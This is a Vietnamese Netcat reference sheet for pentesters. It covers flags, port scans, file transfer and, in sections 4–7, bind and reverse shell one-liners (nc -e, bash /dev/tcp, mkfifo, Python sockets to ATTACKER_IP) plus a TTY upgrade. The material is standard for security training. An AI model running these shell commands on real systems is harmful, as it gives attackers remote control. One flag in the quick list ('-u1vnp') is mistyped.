

TÀI LIỆU TỔNG HỢP NETCAT (NC)

Cẩm Nang Thực Chiến Dành Cho Pentester & Red Teamer (Phiên Bản Tra Cứu Tóm Tắt v2)

NETWORKING

PENTESTING

RED TEAMING

CHEAT SHEET V2

1. Giới Thiệu Tổng Quan

Netcat (nc) được gọi là "Dao pha Thụy Sĩ" (Swiss Army Knife) trong mạng máy tính và an toàn thông tin. Nó cho phép truyền nhận dữ liệu qua kết nối giao thức TCP hoặc UDP.

💡 2 Chế Độ Hoạt Động Cơ Bản:

- **Listen Mode (Lắng nghe):** Máy chờ kết nối từ bên ngoài tới (mở cổng).
- **Connect Mode (Kết nối):** Máy chủ động tạo kết nối tới IP/Port của máy khác.

2. Bảng Bảng Mã Tham Số (Command Flags) Tóm Tắt

Cờ (Flag)	Ý nghĩa	Ví dụ / Ghi chú
-l	Kích hoạt chế độ Listen	Chờ kết nối tới (Server / Attacker)
-p [port]	Chỉ định cổng (Port)	nc -lvnp 4444
-v / -vv	Verbose (Hiển thị chi tiết)	In ra thông báo kết nối chi tiết
-n	Bỏ qua phân giải DNS	Chỉ dùng IP, tránh log DNS và tăng tốc độ
-z	Zero-I/O Mode	Chỉ kiểm tra cổng mở, không gửi payload
-u	Chuyển sang UDP	Mặc định Netcat chạy TCP
-e [prog]	Thực thi chương trình	Gắn /bin/bash hoặc cmd.exe vào kết nối
-k	Keep listening	Giữ cổng mở sau khi client ngắt kết nối

3. Lệnh Thực Chiến Thông Dụng

3.1. Quét Port & Banner Grabbing

```
# Quét dải port TCP từ 20 đến 80:
nc -z -v -n 192.168.1.50 20-80

# Lấy Banner thông tin dịch vụ Web:
nc -v 192.168.1.50 80

# Gõ tiếp: HEAD / HTTP/1.0 (nhấn Enter 2 lần)
```

3.2. Truyền Tập Tin (File Transfer)

Máy Nhận Lắng Nghe Trước

Máy Nhận:

```
nc -lvnp 4444 > file_nhan.txt
```

Máy Gửi:

```
nc <IP_NHAN> 4444 < file_goc.txt
```

Máy Gửi Lắng Nghe Trước

Máy Gửi:

```
nc -lvnp 4444 < file_goc.txt
```

Máy Nhận:

```
nc <IP_GUI> 4444 > file_nhan.txt
```

4. Phân Biệt Bind Shell vs. Reverse Shell

Bind Shell

Server mở port gán Shell, Attacker kết nối vào.

Target:

```
nc -lvnp 4444 -e /bin/bash
```

Attacker:

```
nc <TARGET_IP> 4444
```

Reverse Shell (Khuyến Dùng)

Attacker mở port chờ, Target đẩy Shell ra ngoài.

Attacker:

```
nc -lvnp 4444
```

Target:

```
nc <ATTACKER_IP> 4444 -e /bin/bash
```

5. Kỹ Thuật Bypass Khi Netcat Bị Tắt Cờ `-e`

Lưu ý:

Hầu hết các bản Linux hiện đại đều vô hiệu hóa cờ `-e` của Netcat. Bạn dùng các câu lệnh thay thế dưới đây:

5.1. Bash Native TCP Reverse Shell

```
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

5.2. Named Pipe (`mkfifo`) với Netcat

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
```

5.3. Python One-Liner Reverse Shell

```
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.send("Pentest")'
```

6. Nâng Cấp Shell Lên Interactive TTY Full

```
# 1. Tại phiên Netcat Shell nhận được:
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Bấm Ctrl+Z để đưa Netcat xuống background

# 3. Tại terminal máy Attacker:
stty raw -echo; fg

# 4. Thiết lập biến môi trường TERM:
export TERM=xterm-256color
```

7. Cheat Sheet Tra Cứu Nhanh

CHEAT SHEET NETCAT

- Lắng nghe TCP: `nc -lvnp 4444`
- Kết nối TCP: `nc <IP> 4444`
- Lắng nghe UDP: `nc -u1vnp 4444`
- Quét Port: `nc -z -v -n <IP> 20-80`
- Bash Reverse Shell: `bash -i >& /dev/tcp/<IP>/4444 0>&1`